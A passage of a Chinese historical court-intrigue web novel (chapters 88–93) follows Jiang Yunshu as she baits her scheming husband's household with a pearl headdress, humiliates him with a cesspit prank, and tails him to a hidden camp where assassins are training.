难道,在定国将军府检抄时,沈清安去过? 月禾猛然看向姜云舒,姜云舒似乎猜到她想的,点点头,又接了一句。 “亦或者,孙副官便是潜藏在定国将军府的内鬼,也就是那个与沈清安接应之人。” 这话说完,姜云舒和月禾都沉默了。 父亲身边那些人,都是她们自小喊着伯伯的,若是他们背叛,父亲该多难受。 第88章 做局 翌日,天蒙蒙亮,尚且看不清楚人影时,郭攀便急匆匆出了门。 姜云舒醒来时,恍惚之间听到外面传来月禾训斥人的声音。 “没有,说了没有,你们流芳院脸皮得有多厚,还敢来要药!” 月禾语气不善,丝毫不带客气的。 睁眼时,许是阳光太过刺眼,姜云舒皱了皱眉,朝外面喊了一声。 “月禾。” “哎,来了!” 月禾应声,带着晨起洗漱一应物什进了门。 “外面什么人?”姜云舒问。 “流芳院的丫鬟,说是来求咱们金疮药,可真是不要那个死脸!” 月禾没好气嗤一声,随即眉梢一挑,又幸灾乐祸,“听说,昨日那二十板子打得狠了,回来时,高氏腿上都血肉模糊的,昨晚请了杨大夫过来,好半晌才止住血,结果晚上她只稍稍动了动,血口子又崩了,真是活该!” 姜云舒望着镜中的自己,眉梢轻挑。 她没告诉月禾,昨日将高芝兰带走时,她偷偷往衙役手里塞了一锭银子。 原本,即便知道沈清安骗婚,姜云舒也没想过为难高芝兰,从某种情况来看,负心的是沈清安,她与高芝兰都是受害者,然而,她不为难高芝兰,高芝兰反而上蹿下跳不安分。 重重地打。 那是高芝兰应得的。 看着镜子里月禾的手在她发间来回穿插,最后形成一个漂亮的发髻,姜云舒盯着镜中的自己,半晌,朝月禾吩咐一句。 “将金疮药拿给她吧。” “小姐?” 月禾以为自己幻听,手上动作也停了,“她之前可是想着害我们的,若非这次药王谷来的是荣三爷和荣小爷,惹麻烦的可是咱们,你对她也太仁慈了!” 即便是药王谷,也嫌少有人知道姜云舒这里可以售卖归心丸,若来的是别人,这事儿肯定要闹得沸沸扬扬。 “你急什么。” 姜云舒自铜镜之中看月禾,眉梢轻挑,“将金疮药送过去时,再把之前皇上赏赐的那套南洋珠头面给老夫人送过去,就说下月皇后生辰宴上要穿戴,记住,这套头面,一定要让高芝兰看到。” “小姐这是要引导高芝兰与老夫人争抢?” 月禾眸光闪烁,兴奋,却又有点可惜,“那可是小姐拿命挣来的赏赐,便是后宫娘娘们,除了皇后和芷妃,其他各宫也难得一对南洋珠做耳饰,这么好的东西给那老太太,真是白瞎了!” “物件而已,我不喜太过张扬,留在我这里也只是压箱底,不如让它给我办点事。”姜云舒安慰。 月禾想了想,也是这个道理。 “所以,小姐想怎么做?”月禾晶亮的眼睛里闪烁着兴奋。 姜云舒转手端起茶盏抿一口,耐心与她解释,“这套头面足够给老夫人长脸,老夫人向来虚荣心强,我送的礼物能让她在皇宫这样的寿宴中出彩,你猜她会如何感谢我?” “那肯定是要将中馈再交给小姐啊!” 月禾兴奋开口,然而,这兴奋在面上刚闪过,她又想不明白了,“小姐要引导高氏犯错,必然预料到她会在那头面上动手,只是瓮中捉鳖这么简单?” 姜云舒眉梢挑起,玩味自唇畔散开。 “谁说要捉高芝兰了?我们是沈清安这只鳖!” “沈清安?”月禾诧异。 姜云舒不再解释,只吩咐道:“今日太医院会派人来清风村核查取样,沈清安势必会跟过来,你不是早看他不爽吗,今日便允你出口恶气。” “真的?”月禾眼睛都亮了,摩拳擦掌跃跃欲试。 初春的天气明朗中透着丝丝寒凉,也正是这寒春的风,吹醒了一冬的生机,此时,树上的嫩芽已经有了初萌的生机。 清风村,太医院派来当值的几位太医,其中负责的是太医院的陆行舟,也正是太医院正赵寅夺的亲传弟子。 和几位太医一起来的,还有沈清安,此时沈清安的腿伤还没好利索,走路一瘸一拐的,却不耽误他在清风村指挥上下。 裴钰站在旁边跟月禾一边嗑瓜子,一边朝沈清安的方向撇嘴。 “看着比姜云舒还忙活,实质上,也没干点什么事儿,就会做表面功夫!” 月禾翻着白眼,随即想起什么,朝裴钰挑了挑眉,“今早小姐说,可以出口恶气,裴世子有没有兴趣?” “那自然是……求之不得啊!”裴钰目光一闪,凑近月禾耳边,嘟哝了几句。 月禾点点头,再看想沈清安的方向,眼睛都笑得弯了起来。 沈清安正指挥村民干活,冷不丁感觉身后一股子凉意,扭头却见月禾朝他笑,只觉莫名其妙,却也没太过在意。 几位太医各司其职,诊病,看方,记录,一直忙活到晌午将近。 “以目前记录来看,此次疫病已经得到了有效控制,这连续十日中,每日新增病患和死亡人数均有减少,自五日前,治愈人数逐渐增多,这是近百年来,疟疾控制最迅速的一次,也是目前死亡人数最少的一次。” 陆太医看着记录的数据,相比刚来时满面严谨,此刻似是轻松了许多, 他合上记录册,转过身郑重地朝姜云舒行一礼。 “县主此举拯救无数灾民,真真是大功一件!” “陆大人过奖了,我能力有限,最要紧的还是赵院正的药方对症。”姜云舒紧忙还礼。 听她如此说,陆太医笑意之中更多了几分自豪。 自家师父的方子厉害,他当然与有荣焉。 “师父的药方固然厉害,但县主提早防备,药物充足的情况,及时将病人转移到清风村,这才扼制了疫病蔓延。” 姜云舒抿唇笑了笑,尚且来不及开口,却见站在一旁的沈清安上前一步,到了陆太医跟前。 “陆太医说得是,本官自岩城回京便听说了锦州水患,云舒便与我商议过应对措施,不过当时疫病苗头尚未出现,不敢扬言,唯恐引起恐慌骚乱。” 一句话,将功劳揽在了自己身上,且脸不红心不跳,也真不是一般人能做得到的。 只是,这话一出口,就连陆太医脸上都露出了尴尬之意。 听说,皇上让这位沈大人上交堤坝修筑图,他到现在还没设计出,倒是清风村这边姜云舒打理得井井有条,并不需要他的参与,他却平白过来掺和一脚。 真是分不清轻重。 姜云舒斜了他一眼,不拆穿他,是不想看见这张脸。 “太医院送来的药材已经到了,劳烦沈大人过去接收一下。” 索性将他支开。 沈清安见姜云舒没当面戳穿,当下松了一口气,见好就收的紧忙应着。 “好,我这就去。” 沈清安离开时,原本站在姜云舒身侧的月禾也悄无声息跟了过去。 第89章 出一口恶气 陆太医没注意月禾,视线在四处看了一圈,似是恍然明白了什么。 “听说,疫病出现之际,城内城外的乞丐纷纷去远郊割艾草拿来卖,如今京城之中家家户户悬挂艾草,同时乞食的瘫懒乞丐不见了踪影,想来,这也是县主的功劳啊!” 陆太医此刻看姜云舒,亦是满面欣赏,“县主且放心,届时师父定然会禀报皇上,为县主记上一功!” 这样的人才,若能进太医院,那可真是求之不得呢。 “陆大人折煞我了,我不过是尽了绵薄之力,若无太医院和朝中诸位大人的增援,我一个人怕也难以成事。” 姜云舒面上谦卑,心中却难免生出得意。 这些都得益于她师父教的好! 当初北夷水患之后出现疫病,师父便如是准备,她曾说,疟疾是由蚊虫传播,防治第一步便是驱赶灭杀蚊虫。 那时北域疫病严重,师父还研制出了一种名叫青蒿素的药物才控制住大局。 当初师父还想教她制药,可在姜云舒给她炸了两台仪器和无数个器皿之后,师父的炼药室便对她禁闭了。 想到这里,姜云舒不由叹一口气。 若非师父对京城有抵触,这次还想请她出山来着,不过还好,赵院正的方子也有奇效。 此时姜云舒与赵太医正恭维谦让,突然“砰”的一声炸响自远处传来。 这一声响炸得众人一惊,下意识朝声音传来的方向看去,就见一股子黑烟自化粪池的方向蔓延开来。 姜云舒与陆太医对视一眼,急匆匆朝着爆炸的方向奔去。 两人赶到时,一股恶臭传来,化粪池里的污秽之物炸得四周都是,最让他们震惊的是,化粪池里还站着一个人。 众人还没从震惊之中回过神来,就听裴钰的声音凭空响起。 “哎哟,沈大人,咱村外就是河,你游泳别往化粪池跑啊!” 姜云舒一顿,艰难地扭动脖子,再朝化粪池里看一眼。 “这是……沈大人?” 她扯了扯嘴角,“这究竟是怎么回事?” “哎呀,这事儿闹得!”裴钰咋舌,一脸无辜地跟姜云舒解释,“这不刚才沈大人过来说化粪池这边蚊虫太多,要过来放艾草驱蚊,谁知道他真点火啊,这不,一点就炸了。” 一边说着,他还略带责备地看了一眼还在粪池里的沈清安。 “你胡说什么,分明是你让我过来……” “哎呀,沈大人,你得讲理啊!” 裴钰不给他说完的机会,直接将话语权抢过来,“我是说让你把焚烧过后的艾草灰洒在化粪池周边,没让你在这里点火啊!要不说你胆子大呢,谁家好人敢在化粪池点火啊!” 这种常识都不知道,他这探花郎水分有点大啊! 说完,裴钰还朝月禾求证地看一眼。 月禾点头,“我瞧见了,裴世子是要拦沈大人来着,没拦住。” 沈清安瞧着两人你来我往,都快气炸了,奈何一时憋住,愣是说不出一句话来,一张脸……哦,看不出脸色,都让污秽遮住了。 姜云舒不着痕迹地勾了勾唇角,只当没明白,又问,“那沈大人怎么又进了化粪池?” “我哪儿知道!” 沈清安都快哭了。 当时爆炸的时候,抬就觉着后面来了一股劲儿直接给他崩下来了! “啧!” 姜云舒扯了扯嘴角,随即招呼让人救,“快,下去几个人,将沈大人拉上来。” 众人看了看那满坑的粪。 “噫……” 半晌没人动,姜云舒又招呼子固,“子固,你还站着做什么,还不赶紧去救你家大人!” 不是身边最忠心的奴才吗,怎么连粪池都不敢下? 子固扯了扯嘴角,一脸不情愿又不得不干,只能一咬牙,拽着搭在边上的绳子往下去。 主仆二人吭哧吭哧好半晌才上来,一上来,周边人就捂着口鼻散开了。 “快,清风村外有河,快带沈大人去河里清洗清洗。”姜云舒招呼子固。 子固自己都快被愁死了,哪里来得及多想,紧忙带着沈清安就往河边跑。 姜云舒扭头又跟裴钰交代,“你快从沈大人的马车上去找找衣服给他们拿过去。” 沈清安向来谨慎,那腕弩不在手腕上就在车上。 “得,本世子就勉为其难帮他跑个腿!” 裴钰不情不愿的撇撇嘴,转身朝沈清安的马车走去。 一炷香后。 清风村,小木屋。 “呐,大概就是这样。” 裴钰将画好的图纸递给姜云舒。 给沈清安送衣服时,他看到了沈清安摘下来的腕弩。 姜云舒低头细看,眉间逐渐拧了起来。 那腕弩做工精致,一看就是出自行家之手,尤其手腕中间镶嵌的机关扣,和当年孙副将的镶嵌手法一样。 那是前朝老工匠的手艺,只因这镶嵌手法复杂,如今几乎无人再用了。 “从图纸来看,大概能判定,这腕弩就是孙副将的手笔。” 姜云舒一脸阴沉,随即扭头看向月禾,“如今你可明白,我为什么将那南洋珠头面送给老夫人了?” 月禾盯着那图纸,同样沉闷的点了点头。 “那套南洋珠头面的镶嵌手法与这腕弩一样。” “嗯。” 姜云舒的手指点在桌上,一下,一下,仿佛敲在人心上。 “沈清安回来那日,我们也动了手,我很确定,那个时候,他手腕上并没有这只腕弩,而此刻,这只腕弩出现在他手腕上,没猜错的话,孙副官就在京城。” “所以,那南洋珠头面便是你投的饵?” 裴钰挑眉看她,啧啧出声,“你可真是下了血本,可惜了好东西,真是糟践了!” 日落西山,夜幕将至,天空中还洋溢着一泓如橙的晚霞,慢慢被灰暗侵蚀。 姜云舒回到沈家,竟是老夫人亲自迎了出来,后面还跟着不情不愿的沈清安和高芝兰。 “云舒,你这是何意啊!” 老夫人上前一把抓住姜云舒的手,一脸紧张,“即便你如今是县主身份,也有了自己的府邸,可你到底也还是沈家人,断然没有各住一府的说法,说出去,沈家岂不是承认京城笑柄?搬不得,可是搬不得!” 第90章 下饵 老夫人句句挽留,可她担心的,是沈家的脸面。 正说着话,此刻,就见白芷指挥着小厮往外搬东西。 姜云舒扭头看一眼,唇角微微勾起一抹弧度,嗯,是她出门时交代的,晌午过后,便让人来搬东西。 此时,老夫人一脸紧张,沈清安亦黑着脸,只有站在最后的高芝兰,微微咬着唇才压住翘起的嘴角。 走吧,搬出去,离开沈家,她自己离开的,以后这沈家的主母便只有她高芝兰,再没别人。 姜云舒视线快速在三人脸上扫过,沉沉叹口气。 “老夫人,你也知道,沈大人厌烦于我,我也不想在这里讨人嫌,好在如今沈家一应事务有老夫人打理,自不会有差,我搬出去,免得碍了沈大人的眼。” 几句话让姜云舒说得满腹委屈和不甘,说话的功夫,视线还朝沈清安扫过。 “哎哟,不是,可不是这样。”老夫人眼皮直颤,紧忙跟沈清安招呼,“你快跟她说,你好好说啊!” 沈清安是在河里沐浴之后就回了沈家,会来之后又泡了半个时辰,身上的味道才稍稍散了。 原本心情就不怎么好,如今见姜云舒要搬出沈家,脸色更是难看。 “我并没有嫌恶你,当初那样说,也只是希望你能与芝兰和平相处,你何必这般。”他眼神闪了闪。 当初回来时,的确是有过让姜云舒搬出去的想法,可如今,姜云舒是真不能搬出去。 毕竟,如今她安置灾民有功,在皇上面前正是红人,此时她搬离沈家,皇上又当如何看他? 更何况,如今他再看姜云舒,的确没有嫌恶,甚至,也的确有些后悔当初那样对她。 原本,他们是可以做人人羡艳的夫妻的。 “是啊,是啊!大郎心里是有你的!而且,我年纪大了,管理整个沈家上下怕是有心无力,还是得你来管啊!” 老夫人扭头朝吉祥使眼色,吉祥紧忙将准备好的库房钥匙拿过来。 “云舒啊,咱沈家这库房钥匙还是你来保管,之后你与芝兰协理沈家一应事务。” 说着,她将库房钥匙递到姜云舒跟前。 高芝兰站在一边,听着沈清安那话,已经攥紧了双手,如今又看到老夫人要将库房钥匙交给姜云舒,圆瞪的双眼瞬间爬满了红血丝。 不是这样,不应该是这样! 回京之前,相公明明承诺还她正妻之位,老夫人明明说过,要将沈家交给她管理,为什么如今却都变了卦? 她为了相公的仕途,生生在外吃苦受累三年,说好的补偿,为什么到了姜云舒面前就没了? 高芝兰满眼怨毒,咬牙切齿,正想如何阻止,却见姜云舒抬手将老夫人递过去的库房钥匙推了回去。 “老夫人,你不必这样的,我只是吩咐他们将一些不常用的东西搬过去,至于后面的事……我需要再想想。” 想什么,是想决定要不要接着库房钥匙,还是想一想到底要不要从沈家搬出去。 老夫人心里也没底,不过听姜云舒并不是要搬出去,还是松了一口气。 “好,你好好想,不搬就行。” 姜云舒摆摆手,让白芷那边停下,随即似是想起什么,转向老夫人。 “方才回来路上,我得到消息,庆王府的虞太妃要在皇后寿宴那日穿香色织锦缎面的衣服,老夫人可仔细别与虞太妃穿了同色。”她好心提醒。 宴会之上,各府贵妇人都会提前定下宴会要穿的服饰和头面,尤其很多人都会特意关注皇亲国戚的衣着装扮,好另选不同避免撞色撞款。 之前老夫人在参加宴会时与信阳侯夫人穿了同色,被当中窄了面子,如今姜云舒提醒,真真是提醒到了老夫人心里。 见老夫人神情严肃姜云舒又接着说,“我记得老夫人有一件古铜罗缎的衣裳,与那套南洋珠头面也相配的。” 自那次老夫人与人撞色之后,老夫人再参加宴会之前,姜云舒都会悉心帮她搭配选择。 当初,姜云舒对老夫人也是悉心照料的,但是她现在,不配。 老夫人没注意到姜云舒眸中一闪而过的薄凉,只听得她提醒,连连点头。 “对对,那套古铜色罗缎的衣裳,还是你让人给我做的,皇后寿宴就穿它,正与你送我的那套南洋珠搭配,届时,指不定有多少人羡慕!” 那可是南洋珠,便是王侯尊贵,内宅女眷也不一定能有一套。 此时她脸上堆着笑,满脸得意,拉着姜云舒直称赞,“还是你孝顺,懂得我想要什么。” “好东西本应孝敬老夫人。” 姜云舒面上带着笑,却不着痕迹抽回了手。 沈清安瞧着如此场面,对姜云舒很是满意,面上神情也缓和不少。 县主不过是个虚名,姜云舒到底也是要依附夫家的,今日闹搬走这一出,也不过是耍性子,如今她既肯低下头来讨好老夫人,那便给她这个台阶。 “皇后寿宴,你作为家眷也是要参加的,除了为母亲置办,你自己也要准备一些,之前皇上赏赐中有一匹金丝暮云纱,你便拿去做衣裳吧。”沈清安开口。 他刚说完,高芝兰原本阴沉的面色又是一怔。 那金丝暮云纱可是南江进贡的,听说是纯金丝纺织,便是皇宫里只有位份高的娘娘才有资格得赏的极品,当初她还向沈清安讨要来着,他却说要留着好东西送礼! 呵,他的送礼便是送到姜云舒手里! 此刻高芝兰愤怒涌上来,眼珠子都在充血了,忍不住开口。 “相公忘了,这匹金丝暮云纱不是要准备送到太师府上吗,毕竟,长元入学之事,还得麻烦庄太师。” 沈清安脸上的笑随着这句话,悠然停住,他扭头看高芝兰一眼,蹙了蹙眉。 “你还好意思说,让你去打听消息,你竟不知太师夫人不喜金丝织物?” “我,我是打听了的……只是未得到这一消息。”高芝兰一下子噎住。 她是想办法打探消息,可等了好几日都没等到与那太师夫人偶遇的机会。 她本就没有京城人脉,这如何能怪她? 姜云舒听着两人说话,心中暗自揣测,沈清安若想通过庄太师将沈长元塞进崇文书院倒是一条可行之路,可庄太师向来为人严谨,岂能因为一批布料就帮他一个朝中没任何根基的小官? 要么,沈清安在离京之前,便是庄太师手里的棋子,要么,庄太师盯住了他这颗棋子,准备收为己用。 第91章 等鱼上钩 “既如此,便多谢沈大人破费了。” 姜云舒抬了抬手,月禾便与自顾去库房取布匹。 高芝兰站在原地,双手捏紧了拳头。 明明说好的,姜云舒如今的一切都会给她,可现在呢,她什么都没得到,反而沈清安上赶着将东西送到她手里。 不,这不对,事情再这样下去,她的主母之位便危险了。 她要做点什么。 自老夫人处离开,姜云舒与月禾往回走。 月禾手里捧着那金丝暮云纱,面上却是一脸不屑。 “瞧高氏那一脸怨恨的表情,不知道的还以为是小姐抢了她的东西,殊不知,他们眼里的好东西,咱们还未必看得上呢!” 当初将军率大军直逼北夷皇室,战利品中,北夷皇室各样奇珍异宝丝绸绢缎,什么样的没见过? 不过区区一匹纱,都不一定能入得了小姐的眼。 姜云舒低头看了一眼月禾手里的纱,淡淡开口,“的确是好东西,明日送去恭王府吧,听说澜姐姐娘家是南江,想来是她喜欢的料子。” “是,明日我便送过去。”月禾应着。 翌日,晨光熹微,洒金般的阳光洒向人间,露珠闪烁着晶莹的光,辉映着天地间的安静,然而,一声尖叫如剪刀般撕裂这静谧的时刻。 姜云舒恍然睁开眼睛,坐起身的功夫,就见月禾走了进来。 “这高氏还真是沉不住气。” 说着话,她朝外面福寿园的方向怒了努嘴,“老夫人院子里热闹了。” 姜云舒回了回神,想来,是高芝兰动手了。 快速洗漱穿戴好,姜云舒随着众人去福寿园,刚进院子便听得老夫人哭天怆地的声音。 “哎哟,老天爷啊,这可怎么是好啊!我的头面,我的头面啊!” 姜云舒伴着声音往里走,就见老夫人抱着那套头面哭得正伤心。 桌上,一套头面摆放在盒子里,其他还好,只钿上最大的那颗金珠掉了,掐丝的头饰也断了一处,这可是一套头面中最显眼的两件。 此时沈清似是刚过来,瞧着老夫人哭丧似的,忍不住皱起眉头。 “这到底是怎么回事?” 昨晚姜云舒送来了时,头面还好好的,老夫人喜欢得不得了,一一检查好了才放回盒子里,怎的过了一晚上就成这样了? 吉祥扯了扯嘴角,一脸为难地看向旁边的沈长元。 沈长元吓得一缩便躲在了高芝兰身后。 “长元,是你弄坏的?”沈清安怒喝一声。 沈长元吓得浑身一颤,“哇”的一声就哭了出来。 “不是我,我没有……” 嘴上否认着,抬手去擦眼泪,就见他袖子上一处丝线刮花,上面还勾着一个小滴溜,正是那钿上坠着的。 “你还敢说谎!”沈清安大喝一声,上前就要打,却被高芝兰拦住。 “相公,长元还小,你这样会吓到他。”说着,她又转向沈长元,“长元,你说实话,若是不小心,爹爹不会怪你。” 她一边轻声哄着,一边安慰,慈母柔软也不过如此了。 沈长元抬头看高芝兰,抽了抽鼻子,回答,“我不是故意的,我只是看祖母那么宝贝,我也想看看,是它自己挂在了我的衣服上,我……我真的不是故意的,呜呜……” 说着,他倒是自己哭起来了。 姜云舒挑眉瞧着盒子里的头饰,可不是摔一下就能毁坏到那个程度的,定然是用力掰的。 若非了解沈长元,怕是也要被这孩子的演技糊弄过去。 “你!” 沈清安瞪着眼睛,抬手尚未落下,却见高芝兰上前一把将沈长元护在怀里。 “长元说了实话,他不是故意的,相公也要打他吗?他只有五岁,相公若一定要出气,那便打我吧,左右进京这么长时间,我也一无所成,是我们拖累了相公,我若死了,相公也不必左右为难。”高芝兰护着沈长元,哭得肩膀轻颤。 姜云舒瞧着抱在一起,看起来“可怜兮兮”的母子,唇畔不由得勾起一抹玩味。 不得不承认,在哄沈清安这方面,她的确很有几分本事。 口口声声说的是自己的错,可字字句句听进沈清安耳朵里,便是细数沈清安对她们母子的亏欠。 是沈清安为了谋求仕途,让他们母子在外受苦,也是沈清安执意将沈长元送回沈家,致使亲娘没能在身边教导,孩子顽劣怪不到高芝兰身上。 而沈清安作为人夫,凭什么要求高芝兰有所成呢?便是这所谓的“左右为难”,也是沈清安自己导致的,她高芝兰分明是个无辜,可怜,又让人心疼的受害者。 沈清安眼瞧着瑟瑟发抖的两母子,忍不住叹一口气。 “好了,你们先起来。”沈清安伸手将高芝兰和沈长元拉起来。 老夫人眼见沈清安就要大事化小,当即“嗷”一嗓子又哭起来。 “我活了这么大岁数,终于有了参加宫宴的机会,云舒刚给我送了好东西,转头你们就给我毁了,你们就这么见不得我好啊!” 她哭得前仰后合,眼看着就喘不过气来了。 人与人经营一段关系,亲密无间尤为艰难,可要毁掉一段关系,几件小事就能促成。 比如,之前高芝兰用其他药替换老夫人的归心丸,又比如,老夫人满心期待在皇室宴会上长脸,如今却被沈长元毁了头面。 即便这次是沈长元的错,可这罪过就是要落在高兰芝这个当娘的头上。 沈清安被老夫人的哭声吵得头疼,只能安慰。 “不过是损坏,物件还在,我这便找京城有名的工匠,肯定来得及修复。” 姜云舒伸手将那钿拿起来,似是细细端详了一阵,提醒,“若是没看错,这是前朝的累丝九缠工艺,现下便是京城也很少有,沈大人怕是要多找几家。” 沈清安微蹙的眉心,透着几分烦扰,没好气看了姜云舒一眼。 “偌大个京城,还愁找不出个前朝老工匠么!” 此刻,他满腔的憋闷不知该向何处发。 若不是沈长元顽皮,老夫人的头面的也不坏,若不是老夫人虚荣显摆,沈长元也不会好奇过来看,可若是姜云舒没送给老夫人这么工艺复杂的头面,他也不至于找人修复都这么困难。 总的来说,他此刻看在场众人没一个顺眼的。 姜云舒并不在意沈清安那一脸憋闷的表情,勾了勾唇角安慰老夫人几句便从福寿园离开。 一日安定。 白日自仁春堂与韩掌柜对了一天的帐,姜云舒傍晚回到沈府。 马车刚停下,郭攀便迎了上来。 “夫人,我哥那边传来消息,除了几家首饰铺,沈大人还去了城西的铁匠铺。” 第92章 死士,封狼阁 “他修复首饰,去铁匠铺做什么?”月禾蹙着眉头,看向姜云舒,“难不成,那铁匠原先是首饰工匠?这也差太多了。” 虽说都是手艺活,可打铁与首饰雕琢錾刻掐丝这种精细活并不想通。 姜云舒抿了抿唇,转而问郭攀,“他可是在铁匠铺买了什么?可有何异常?” “什么都没买。”郭攀沉思瞬间,又道:“要说异常的话,他们去的时候,子固手里拎着一只羊头,回出来的时候羊头便没了。” “去铁匠铺不拿银子,反而送羊头?这是什么说法?” 月禾冷嗤一声,随即想起什么,“该不会,那羊头是接头暗号吧?” 的确有可能。 无端的揣测没有意义,姜云舒不置可否,又问郭攀,“可在铁匠铺周边留了人?” “留了,今日我哥不当值,便在周边盯着呢。”郭攀回答。 “辛苦你们兄弟了。”姜云舒抿唇微微笑了笑。 监视这种事,没有比郭朝更适合的了。 他本是城门守卫,日常巡场再真正常不过,更易掩人耳目。 “不辛苦,小的这条命都是夫人的……” “你的命好好留着给我当牛做马,即便是我交给你的,任何事儿都不值当拿命拼。”姜云舒打断他。 又不是上战场,事情总有迂回的余地,何必处处拿命搏? “是是,小的记住了。”郭攀连忙应声,将踏凳放下。 姜云舒踩着踏凳下了马车,径自进了沈府。 一夜无梦。 清晨的微光刺穿厚重的云层,为大地绘出金色的轮廓。 姜云舒是被敲门声叫醒的。 “小姐,有事儿禀报。”是月禾的声音。 姜云舒皱了皱眉头,坐在床边稍稍适应了强烈的明媚后,才起身下床。 “进来吧。”她说。 月禾端着洗漱的一应物什进来,随即转身又关上门。 “方才郭攀送信儿过来,天蒙蒙亮时,沈清安和子固又去了城西的铁匠铺。” “这么早?那我们得快些了。” 姜云舒挑眉,伸手接过月禾递来的手巾。 半个时辰后,一辆装潢朴素的马车停在城西口,自马车上下来的,亦是衣着朴素的姜云舒和月禾。 “夫人。” 此时,郭朝自前面的馄饨摊迎过来,压低了声音,“一刻钟前,铁匠的徒弟带着沈大人和小厮进了城外的林子,我不敢跟出城,便回来等夫人。” “多谢,辛苦了。”姜云舒点头,月禾便将一包药递给郭朝,“这是韩掌柜给调配的药,对你娘的腿有好处。” 郭朝不比郭攀,他是帮忙,不是下人听候差遣。 郭朝原本是推辞的,可听说对他老娘的腿症,还是收了。 待郭朝离开,姜云舒与月禾便顺着他指的方向,前往西城的深林。 “这林子很深,我们沿路留一些信号。”姜云舒吩咐。 月禾应声,用匕首在经过的树上刻下印记。 沈清安和子固到底是普通人,尤其走崎岖的林荫路并不快,很快,姜云舒和月禾便寻到了他们的踪迹。 这处深林都是多年的大树,枝叶相互遮盖,几乎透不下光线,倒是有利于隐藏踪迹。 姜云舒和月禾远远地跟着,距离控制在刚好察觉不到的范围。 跟了一会儿,月禾察觉到不对劲,“小姐,我怎么觉着,咱们一直在绕圈?” 姜云舒蹙了蹙眉,她也有这个感觉,是在绕圈,但又不是在原地饶。 “这大概就是沈清安为什么要找人带路的原因。”她压低声音。 因为这林子太大,又如谜障一般,进来之后很容易迷路。 两人远远跟着,也不知道走了多长时间,耳边传来水声,姜云舒与月禾相视交换一个眼神,紧接着,就见荫林之中透出光线。 此刻,似乎已经走到了深林的尽头。 沈清安出了深林,姜云舒和月禾又两人在阴暗中等了片刻,这才往外走。 强烈的阳光照射下来,姜云舒下意识抬手遮住眼睛,紧接着,伴随着山涧水声的“嗬嗬”喊声传来。 她猛然间睁开眼睛,就见山涧之下,百十个光着上身的男子正在列队操练。 “这是……”月禾震惊地瞪大眼睛,扭头看向姜云舒,“哪个营的队伍没抢到操练场地,竟跑到这里来练兵?” “不是兵。” 姜云舒脸上的震惊消散过后,此刻只剩凛冽的冷肃,“他们的衣着和兵器都不是军营装配,而且,你看他们的脖颈后面。” 月禾一顿,顺着姜云舒的话往下看,距离有些远,看不太清,但依稀能分辨出,那些人后脖颈上都有一个标志。 那是……一个狼头的标志。 “封狼阁?”月禾惊讶出声,面上尽是难以置信的震惊,“沈清安这是在训练死士?” 封狼阁,迄今这片琼州大陆上,最庞大的杀手组织,他们不问出身,只看钱财,小到无名之辈,大到深宫帝王,只要雇佣金足够,他们都接。 第一次知道封狼阁,还是在六年前,定国将军府应召回京的路上,就遭遇过封狼阁的截杀,那一次,姜云舒是第一次被人锁喉,频临死亡的感觉,到如今都忘不了。 锁喉…… 姜云舒忽然想起什么,看向月禾,“你可还记得,那日六皇子被截杀,那个杀手首领用的可是锁龙爪?” “锁龙爪……对,就是锁龙爪!” 月禾恍然想起来,那刁钻的招式是叫锁龙爪,当时她费劲想了好久都没记起来! “难不成,他们是三皇子的人?” 上次那批杀手虽没留下任何重要线索,但其中线索关联,三皇子必定逃不开干系。 如今这批杀手秘密训练,难不成,三皇子要篡位? “也不对啊……”月禾又自己否定了自己的猜想,“不是说沈清安与太师关系匪浅吗?他怎么又往三皇子跟前凑了?难不成,太师想明白了,要托举三皇子?” 到底是娘家的人,难不成皇后真的要与太师府割裂? 此时,线索和人物关系关联又割裂,姜云舒一时还没理清楚,就听山涧之下传来一声冷喝。 “什么人!” “糟了!” 姜云舒眸光一凛,压低身形的同时,手握在了腰间的鞭子上。 她们屏住呼吸,冷汗自额间悄然滑落。 第93章 你跟踪我 六年前与封狼阁交手,尚且有护卫队和父兄,如今她们二人面对的是百十人,交手没有丝毫胜算。 两人隐匿在深林的黑暗中,耳听得脚步声逐渐靠近。 “出来!” 那声音似擦过头顶,直让人头皮发麻。 姜云舒握紧了鞭子,正要抽鞭迎上,忽然听得不远处“呼”的一声,黑暗朦胧中,一个巨大的身影朝着林子外冲了出去。 “呜呜——” 那声音嘶吼,似是要将那悬挂的瀑布撕裂。 是猛兽的声音。 靠近的脚步声逐渐远离,姜云舒再抬头,就见一只三米多高的黑熊朝着众人的方向狂奔而去。 山涧之下,众人四散躲开,随即掉头找好位置,十几个人朝着黑熊攻了过去。 真是救了命了! 趁着黑熊将众人的注意力引过去,姜云舒给月禾一个眼神。 “走!” 说完,转身就要往深林里逃,谁知刚跑两步,黑暗之中冷不防深处一只手,扣在了姜云舒的手腕上。 “什么人!” 姜云舒冷喝一声,手中长鞭便朝那人抽了出去。 “是我!” 熟悉的声音自耳边擦过,姜云舒猛地拽住鞭子往回拉,这才看清楚,竟然是谢无烬。 “谢世子,你跟踪我?” 黑暗之中,姜云舒盯着谢无烬的眼睛,满脸防备。 这话问出,谢无烬却忍不住笑了。 “我还以为,是你跟踪我。”说话间,他抬起被鞭子勾住的手朝姜云舒扬了扬。 那意思,让她松开。 姜云舒却未动,依旧审视地看着他,“你来这里做什么?” 她是跟踪沈清安来的,那谢无烬又是怎么来的? 到底是训练死士的地方,怎么可能这么容易就被人找到? 难不成,谢无烬与这批死士也有关系? 她还没想明白,就见谢无烬朝她靠近一步。 “你来做什么,我便来做什么。” 银蔓长鞭的尾端抵着他的喉咙,谢无烬却没有丝毫紧张,一边说着话,甚至又朝姜云舒靠近了几分。 气息的靠近,让姜云舒迅速收回思绪,下意识后退一步。 如果他与封狼阁有关系,那此刻,他才是真正的危险。 “既然谢世子没什么好说的,那我们就此告辞!” 姜云舒说着,抽回长鞭示意月禾离开,然而,刚转身又被谢无烬拽住了手腕。 “乐安县主可真是无情,我刚刚可是救了你的命!” 说话的同时,他朝黑熊冲出去的方向努努嘴。 黑暗里,他的笑容看不清楚,却能感觉到那股玩世不恭又诡谲的寒意。 姜云舒顿了一下,下意识朝刚才黑熊冲出来的方向看去,恍然明白了什么。 “那黑熊是你带来的?” 这里是京城,多为平原地区,可不是那种黑熊的生存环境。 “嗯哼~” 谢无烬朝姜云舒挑了挑眉,算是默认。 姜云舒蹙了蹙眉,看在他救命之恩的份儿上,耐着性子,问:“所以,你现在拦着我,是为了什么?” “人家救命之恩都是以身相许,你……” 话还没说完,就见姜云舒一个白眼甩过来,打断他的话。 “既然谢世子不求回报,那我只能说声谢谢了,我们后会有期!” 她猛地用力甩开谢无烬,朝月禾喊一声,“我们走!” 